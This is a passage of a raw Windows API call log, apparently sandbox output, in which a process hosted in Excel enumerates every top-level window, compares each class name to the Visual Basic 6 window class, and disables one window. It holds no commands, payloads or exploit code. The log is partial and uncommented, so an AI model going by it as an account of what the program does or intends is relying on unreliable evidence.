(hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0181.890] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.890] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.890] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.890] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0181.890] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0181.890] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0181.890] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0181.890] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0181.890] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.890] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.890] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0181.890] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0181.890] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0181.890] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0181.890] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0181.890] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0181.891] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.891] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.891] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.891] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0181.891] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.891] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.891] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.891] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0181.891] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.891] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.891] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.891] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0181.891] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.891] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.891] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.891] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0181.891] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.891] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.891] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.891] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0181.891] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.891] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.891] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.891] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0181.891] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.891] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.891] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.891] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0181.891] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0181.891] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0181.891] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.891] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0181.891] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.891] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.892] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.892] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0181.892] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0181.892] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0181.892] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.892] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0181.892] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0181.892] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0181.892] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.892] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0181.892] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.892] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.892] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0181.892] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0181.892] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.892] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.892] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.892] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0181.892] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0181.892] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0181.892] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.892] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0181.892] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0181.892] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0181.892] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.892] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0181.892] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0181.892] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0181.892] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0181.892] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.892] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.892] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.892] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0181.892] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0181.892] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0181.893] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0181.893] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0181.893] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0181.893] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.893] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0181.893] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0181.893] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0181.893] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0181.893] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0181.893] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0181.893] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.893] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0181.893] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0181.893] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0181.893] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x140264 [0181.893] GetClassNameA (in: hWnd=0x140264, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0181.893] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0181.893] GetWindowThreadProcessId (in: hWnd=0x140264, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0181.893] GetWindow (hWnd=0x140264, uCmd=0x2) returned 0x400c0 [0181.893] GetClassNameA (in: hWnd=0x400c0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.893] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.893] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0181.893] GetWindow (hWnd=0x400c0, uCmd=0x2) returned 0x20360 [0181.893] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0181.893] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0181.893] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.893] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0181.893] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0181.893] IsWindowEnabled (hWnd=0x20360) returned 1 [0181.893] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0181.893] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0181.893] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0181.893] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0181.893] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0181.894] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0181.894] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.894] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0181.894] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0181.894] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0181.894] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0181.894] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0181.894] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0181.894] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0181.894] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0181.894] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.894] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0181.894] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0181.894] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0181.894] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0181.894] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0181.894] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0181.894] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.894] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0181.894] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0181.894] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0181.894] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0181.894] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0181.894] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0181.894] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.894] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0181.894] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0181.894] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0181.894] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0181.894] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0181.894] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0181.894] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.894] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0181.894] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0181.894] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0181.894] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0181.894] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0181.894] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0181.895] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0181.895] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0181.895] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0181.895] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0181.895] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.895] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0181.895] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0181.895] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0181.895] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0181.895] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0181.895] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0181.895] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.895] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0181.895] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.895] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.895] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0181.895] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0181.895] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0181.895] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0181.895] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0181.895] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0181.895] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0181.895] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0181.895] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.895] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0181.895] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0181.895] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0181.895] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0181.895] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.895] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0181.895] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0181.895] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.895] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.895] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.895] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0181.896] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0181.896] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0181.896] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.896] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0181.896] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0181.896] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0181.896] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.896] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0181.896] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.896] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.896] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.896] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0181.896] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.896] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.896] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.896] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0181.896] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.896] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.896] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.896] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0181.896] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0181.896] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0181.896] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.896] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0181.896] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.896] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.896] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0181.896] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0181.896] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0181.896] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0181.896] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0181.896] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0181.896] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0181.897] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0181.897] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0181.897] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0181.897] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.897] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.897] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0181.897] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0181.897] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0181.897] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0181.897] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0181.897] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0181.897] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.897] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.897] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0181.897] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0181.897] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0181.897] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0181.897] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0181.897] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0181.897] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.897] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.897] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0181.897] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0181.897] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0181.897] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0181.897] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0181.897] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0181.897] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.897] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.898] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0181.898] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0181.898] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0181.898] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0181.898] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0181.898] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0181.898] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.898] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.898] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0181.899] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0181.899] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0181.899] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0181.900] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4fb39d0 [0181.900] IMalloc:Free (This=0x7fefecb5380, pv=0x4fb39d0) [0184.811] GetAsyncKeyState (vKey=27) returned 0 [0184.811] GetCurrentThreadId () returned 0xbdc [0184.812] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0184.812] GetDesktopWindow () returned 0x10010 [0184.812] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0184.812] 